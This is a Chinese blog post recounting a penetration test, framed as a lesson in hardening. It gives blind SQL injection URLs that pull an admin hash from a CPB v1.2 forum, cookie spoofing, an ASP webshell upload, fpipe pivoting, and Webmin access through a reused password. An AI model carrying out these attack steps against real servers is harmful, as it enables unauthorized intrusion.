一次WEB服务器渗透测试笔记

Glory ·
更新时间:2024-09-21
· 918 次阅读

编者按:渗透测试是能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作。

此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。

首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下:

(The 1641 ports scanned but not shown below are in state: filtered)

Port State Service

80/tcp open http

Device type: general purpose

Running: FreeBSD 4.X

OS details: FreeBSD 4.7-RELEASE

(注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。)

这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。

嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ...

当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!!

放弃?!当然不!“一条铁链的强度取决于其薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,好先估算一下对方的地址段的长度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127。这个不用解释了吧!

拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机是突破口!

http://211.***.***.116

出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。

用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,可以进行下一步了:

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select a_id from admin where a_id=2)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80004005‘

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的:表名为admin,管理员的a_id为2,这样省了我们很多的麻烦。

下面的目标是要得到管理员的用户名和密码了。

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where

admin=admin)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80004005‘

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

看来连管理员的用户名都还是默认的admin。

那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧!

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password,1)=‘a‘)

返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是‘a‘。

注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上多猜测256次即可得到该值

当提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password,1)=‘1‘)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80004005‘

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

可以得知第一位是‘1‘。

同理可以依次得到每一位的值,终经过耐心的尝试得到‘19a7e9898008f09e‘。这一步可能会耗费一些时间,当然也可以通过编写一个脚本来实现自动获取的目的。

好了,现在该轮到MD5的“暴破”专家DeMd5出场了,填入刚刚得到的‘19a7e9898008f09e‘,下面可以喝杯咖啡然后等着密码来找你吧!

那么难道在密码没有破解出来之前只有等待么?当然是否定的,我可不想指望着DeMD5能给我一个满意的答案,万一这个管理员用了十几位的数字、大小写字母和符号来组成他的密码,那岂不是惨了?!

还好还有COOKIE欺骗这一招可用:

用IECookiesView找到名字为211.***.***.116的COOKIE,把其中的password和username分别替换为 19a7e9898008f09e和admin,当然在这一步之前要在论坛里注册一个用户。保存后再打开http://211.***.***.116,已经是管理员的身份了。

找到后台的管理入口,http://211.***.***.116/admindefault.asp,进去看看有什么可以利用的。

该死,好像没有可以直接上传文件的功能,不过却可以更改用户在前台上传文件的类型。

我毫不犹豫地把asp给加上了。跑到论坛的主界面通过发贴的方式上传了一个asp木马,成功!

当然不要忘了把帖子删了!其他的扫尾工作倒是可以稍后再做,先看看通过这个跳板我们能得到目标主机

211.***.***.114的什么信息吧!

在211.***.***.116上扫描211.***.***.114:nmap -v -sS -O 211.***.***.114

得到:

Port State Service

21/tcp open ftp

22/tcp open ssh

80/tcp open http

10000/tcp open snet-sensor-mgmt

这样的结果是令人满意的,至少说明211.***.***.114的防火墙对同网段的计算机开放了更多的服务,当然也意味着更多的渗透的机会!

首先进入视野的是ftp服务,如果有弱口令,又有上传的权限,那不可以... ...

先看下ftp服务器的类型,在211.***.***.116上:

ftp 211.***.***.114

返回:

Connected to 211.***.***.114.

220 Free FTP server (Version 6.00LS) ready.

User (211.***.***.114:(none)):

看来是FreeBSD自带的ftp服务器。

接着拿出Xscan进行针对ftp服务的扫描:

xscan -host 211.***.***.114 -ftp

可惜结果令人遗憾:没有可以利用的帐号。

后面的22和80也没有什么可以利用的,那只剩下这个tcp10000的端口了,如果没记错,这应该是webmin的默认端口。连上去试试再说吧,在211.***.***.116上运行:

fpipe -l 8800 -s 8800 -r 10000 211.***.***.114

fpipe是一个端口重定向的工具,这条命令的大致意思是把对本地8800端口的访问重定向到211.***.***.114的10000端口上。所以我们访问211.***.***.116:8800等于访问211.***.***.114:10000了。

在本地浏览器里输入:http://211.***.***.116:8800

一个webmin的登陆界面出现了。现在的问题是:怎么进去。

还记得小组赛B组第一轮法国是怎样战胜英格兰的么?答案是:运气!

这个webmin问题的答案也是,当我一筹莫展的时候,DeMd5告诉了我一个好消息:211.***.***.116上的cpb论坛的admin的密码为‘77889900‘,破解出了这个密码算是运气的一部分,而另一部分是:这个密码也是211.***.***.114上的webmin服务的。

登陆进入webmin以后等于控制了目标主机211.***.***.114,安装rootkit还是更换页面只是一个选择性的问题了。

至此,任务完成,后面是要写冗长的渗透测试报告了,但是在那之前我要写几个“如果”。

如果1:211.***.***.116主机上的测试论坛,在测试后删除了。

如果2:211.***.***.116上的论坛版本为新的。

如果3:211.***.***.116主机安装了防火强,并做了严格的限制。

如果4:211.***.***.114的ipfw的规则再严格些,只允许管理员的工作站登陆webmin。

如果5:cpb论坛的密码与webmin的密码不相同。

如果6:cpb论坛的密码足够强壮。

……

……

这些个“如果”你做到了么?



Web服务 渗透测试 Web web服务器 测试

需要 登录 后方可回复, 如果你还没有账号请 注册新账号